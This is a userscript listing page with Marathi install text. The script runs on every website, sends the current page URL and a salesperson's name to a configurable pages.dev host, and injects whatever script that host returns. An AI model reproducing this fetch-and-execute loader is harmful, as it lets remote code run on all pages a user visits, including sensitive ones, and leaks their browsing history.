Construction JavaScript Injection

Inject some javascript into these websites

2025-06-27 या दिनांकाला. सर्वात नवीन आवृत्ती पाहा.

ही स्क्रिप्ट इंस्टॉल करण्यासाठी तुम्हाला Tampermonkey, Greasemonkey किंवा Violentmonkey यासारखे एक्स्टेंशन इंस्टॉल करावे लागेल.

ही स्क्रिप्ट इंस्टॉल करण्यासाठी तुम्हाला Tampermonkey किंवा Violentmonkey यासारखे एक्स्टेंशन इंस्टॉल करावे लागेल..

ही स्क्रिप्ट इंस्टॉल करण्यासाठी तुम्हाला Tampermonkey किंवा Violentmonkey यासारखे एक्स्टेंशन इंस्टॉल करावे लागेल..

You will need to install an extension such as Tampermonkey or Userscripts to install this script.

ही स्क्रिप्ट इंस्टॉल करण्यासाठी तुम्हाला Tampermonkey यासारखे एक्स्टेंशन इंस्टॉल करावे लागेल..

ही स्क्रिप्ट इंस्टॉल करण्यासाठी तुम्हाला एक युझर स्क्रिप्ट व्यवस्थापक एक्स्टेंशन इंस्टॉल करावे लागेल.

(माझ्याकडे आधीच युझर स्क्रिप्ट व्यवस्थापक आहे, मला इंस्टॉल करू द्या!)

ही स्टाईल इंस्टॉल करण्यासाठी तुम्हाला Stylus सारखे एक्स्टेंशन इंस्टॉल करावे लागेल.

ही स्टाईल इंस्टॉल करण्यासाठी तुम्हाला Stylus सारखे एक्स्टेंशन इंस्टॉल करावे लागेल.

ही स्टाईल इंस्टॉल करण्यासाठी तुम्हाला Stylus सारखे एक्स्टेंशन इंस्टॉल करावे लागेल.

ही स्टाईल इंस्टॉल करण्यासाठी तुम्हाला एक युझर स्टाईल व्यवस्थापक इंस्टॉल करावे लागेल.

ही स्टाईल इंस्टॉल करण्यासाठी तुम्हाला एक युझर स्टाईल व्यवस्थापक इंस्टॉल करावे लागेल.

ही स्टाईल इंस्टॉल करण्यासाठी तुम्हाला एक युझर स्टाईल व्यवस्थापक इंस्टॉल करावे लागेल.

(माझ्याकडे आधीच युझर स्टाईल व्यवस्थापक आहे, मला इंस्टॉल करू द्या!)

// ==UserScript==
// @name            Construction JavaScript Injection
// @description     Inject some javascript into these websites
// @version         1.0.0
// @author          Oliver P
// @namespace       https://github.com/OlisDevSpot
// @license         MIT
// @match           *://*/*
// @run-at          document-end
// @compatible      safari
// @grant           GM_setValue
// @grant           GM_getValue
// @grant           GM_registerMenuCommand
// ==/UserScript==

// jshint esversion: 8

(async function() {
  // Only run config in top window
  if (window.self !== window.top) return;

  let company = await GM_getValue('company');
  let firstName = await GM_getValue('firstName');
  let lastName = await GM_getValue('lastName');

  if (!company || !firstName || !lastName) {
    // Register a menu option to configure later
    GM_registerMenuCommand('Set Sales Credentials', configure);

    // Ask upfront
    await configure();
  }

  async function configure() {
    company = prompt('Enter your company name (e.g. david-star):') || '';
    firstName = prompt('First name:') || '';
    lastName = prompt('Last name:') || '';
    if (company && firstName && lastName) {
      await GM_setValue('company', company);
      await GM_setValue('firstName', firstName);
      await GM_setValue('lastName', lastName);
      location.reload();
    } else {
      alert('Values cannot be empty!');
    }
  }

  // Build dynamic fetch URL
  const salesperson = { firstName, lastName };
  const currentSiteUrl = encodeURIComponent(window.location.href);
  const params = new URLSearchParams({
    data: JSON.stringify({ currentSiteUrl, salesperson })
  });
  const url = `https://${company}.pages.dev/your-endpoint?${params}`;

  // Inject dynamic code
  fetch(url)
    .then(res => res.text())
    .then(code => {
      const s = document.createElement('script');
      s.textContent = code;
      document.head.appendChild(s);
    })
    .catch(err => console.error('Inject error:', err));
})();